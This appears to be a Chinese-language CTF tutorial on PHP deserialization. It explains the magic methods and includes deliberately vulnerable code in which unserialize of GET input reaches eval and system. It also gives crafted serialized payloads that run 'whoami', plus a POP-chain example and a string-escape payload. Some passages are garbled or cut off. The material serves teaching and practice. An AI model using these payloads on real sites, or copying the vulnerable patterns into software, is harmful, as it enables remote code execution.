<?php highlight_file(__FILE__); class User { public $username; public function __construct($username) { $this->username = $username; echo "构造函数触发" ; } } $test = new User("benben"); $ser = serialize($test); unserialize($ser);
?> //输出为 构造函数触发
_destruct()
_destruct()在类摧毁时自动触发,利用反序列化产生类时会触发__destruct。
1 2 3 4 5 6 7 8 9 10 11 12
<?php class User { var $cmd = "echo 'dazhuang666!!';" ; public function __destruct() { eval ($this->cmd); } } $ser = $_GET["benben"]; unserialize($ser);
?>
1 2 3 4 5 6 7 8 9 10 11
<?php class User { var $cmd = "echo 'dazhuang666!!';" ; } $a = new User(); $a->cmd = "system('whoami');"; echo serialize($a); ?> //构造payload O:4:"User":1:{s:3:"cmd";s:17:"system('whoami');";} 利用get传参?benben=O:4:"User":1:{s:3:"cmd";s:17:"system('whoami');";}
页面回显 laptop-gjd0hfbt\落,利用成功
_sleep()
_sleep()在对对象进行序列化时触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
<?php class User { public $username; public $nickname; private $password; public function __construct($username, $nickname, $password) { $this->username = $username; $this->nickname = $nickname; $this->password = $password; } public function __sleep() { system($this->username); } } $cmd = $_GET['benben']; $user = new User($cmd, 'b', 'c'); echo serialize($user); ?>
1 2
直接传入?benben=whoami 页面返回 laptop-gjd0hfbt\落
_wakeup()
_wakeup()在对对象进行反序列化时触发
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php class User { public $username; public $nickname; private $password; private $order; public function __wakeup() { system($this->username); } } $user_ser = $_GET['benben']; unserialize($user_ser); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
构造payload <?php class User { public $username; public $nickname; private $password; private $order; } $a=new User(); $a->username="whoami"; echo serialize($a); ?>
echo 与print 只能调用字符串的方法调用对象 <?php class User { var $benben = "this is test!!"; public function __toString() //输出为User Object ( [benben] => this is test!! ) //触发_toString()!
_invoke()
_invoke再将对象当成函数调用时触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php class User { var $benben = "this is test!!"; public function __invoke() { echo '_invoke触发!'; } } $test = new User() ; echo $test ->benben; echo "<br />"; echo $test() ->benben; //将其看成一个函数了text()触发_invoke ?>
//输出this is test!! // _invoke触发!
下面是一些不太常用的魔术方法
1._call 调用不存在的方法和参数时触发
1 2 3 4 5 6 7 8 9 10 11
<?php class User { public function __call($arg1,$arg2) //第一个参数为错误函数名,第二个参数是传入的值 { echo "$arg1,$arg2[0]"; } } $test = new User() ; $test -> callxxx('a'); //不存在callxx()方法触发_call ?> //输出为callxxx,a
2._callStatic() 在调用静态成员方法时触发(使用::调用函数)
1 2 3 4 5 6 7 8 9 10 11
<?php class User { public function __callStatic($arg1,$arg2) //第一个参数为错误函数名,第二个参数是传入的值 { echo "$arg1,$arg2[0]"; } } $test = new User() ; $test::callxxx('a'); //不存在callxx()方法触发_callStatic ?> //输出为callxxx,a
3._get() 在调用成员属性不存在时触发
1 2 3 4 5 6 7 8 9 10 11 12
<?php class User { public $var1; public function __get($arg1) //参数为变量名 { echo $arg1; } } $test = new User() ; $test ->var2; //不存在var2变量触发_get() ?> //输出 var2
4._set() 给不存在的成员属性赋值时触发
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php class User { public $var1; public function __set($arg1 ,$arg2) //第一个参数为变量名,第二个参数为其值 { echo $arg1.','.$arg2; } } $test = new User() ; $test ->var2=1; //不存在var2,并且将其赋值为1,触发_set() ?>
//输出为var2,1
5._isset()对不可访问属性用isset()或empty()时触发
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php class User { private $var; public function __isset($arg1 ) //参数为变量名 { echo $arg1; } } $test = new User() ; isset($test->var); //var为私有属性不能再类外访问,触发_isset() ?>
//输出为var
6._unset()对不可访问属性用unset()时触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14
<?php
class User { private $var; public function __unset($arg1 ) //参数为变量名 { echo $arg1; } } $test = new User() ; unset($test->var); //var为私有属性不能再类外访问,触发_unset() ?>
//输出为var
7._clone()使用clone()函数克隆对象时触发
1 2 3 4 5 6 7 8 9 10 11 12
<?php class User { private $var; public function __clone( ) { echo "__clone 触发!"; } } $test = new User() ; $newclass = clone($test) ?> //输出为__clone 触发!
这是一道经典的例题 <?php //flag is in flag.php class Modifier { private $var; //flag.php public function append($value) //2.可以看到这里有文件包含,让var=flag.php { include($value); echo $flag; } public function __invoke(){ $this->append($this->var); //1.可以看到这里是触发的地方——》找到append()函数,看哪里将类当成函数执行 } }
class Show{ public $source; //new Show public $str; public function __toString(){ return $this->str->source; //4.这里面有$str,而text类中没有,刚好触发_get(),想要出发_toString()需将其当成字符串 } public function __wakeup(){ echo $this->source; //5.将source以字符串形式输出,可将其值为自己类的一个实例化 } }
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); //3.可以看到这里将$function当成函数,将p实例化为Modifier对象,这里为_get()方法,利用一个不存在的成员属性 } }
<?php function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hack",$name); //每有一个php就会吐出一个字符 return $name; } class test{ var $user; var $pass='daydream'; function __construct($user){ $this->user=$user; } } $param=$_GET['param']; $param=serialize(new test($param)); $profile=unserialize(filter($param));
if ($profile->pass=='escaping'){ //利用字符串逃逸将pass的值改为escaping echo file_get_contents("flag.php"); } ?>
<?php class test{ var $user; var $pass='daydream'; function __construct($user){ $this->user=$user; } } $b='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}'; $a=new test($b); echo serialize($a); ?>
<?php include("flag.php"); class just4fun { var $enter; var $secret; }
if (isset($_GET['pass'])) { $pass = $_GET['pass']; $pass=str_replace('*','\*',$pass); }
$o = unserialize($pass);
if ($o) { $o->secret = "*"; if ($o->secret === $o->enter) echo "Congratulation! Here is my secret: ".$flag; else echo "Oh no... You can't fool me"; } else echo "are you trolling?"; ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
由题知,需要让secrit的值恒等于enter的值,这样可以用引用 <?php class just4fun { var $enter; var $secret; }
<?php /*hint.php*/ session_start(); class Flag{ public $name; public $her; function __wakeup(){ $this->her=md5(rand(1, 10000)); if ($this->name===$this->her){ include('flag.php'); echo $flag; } } } ?>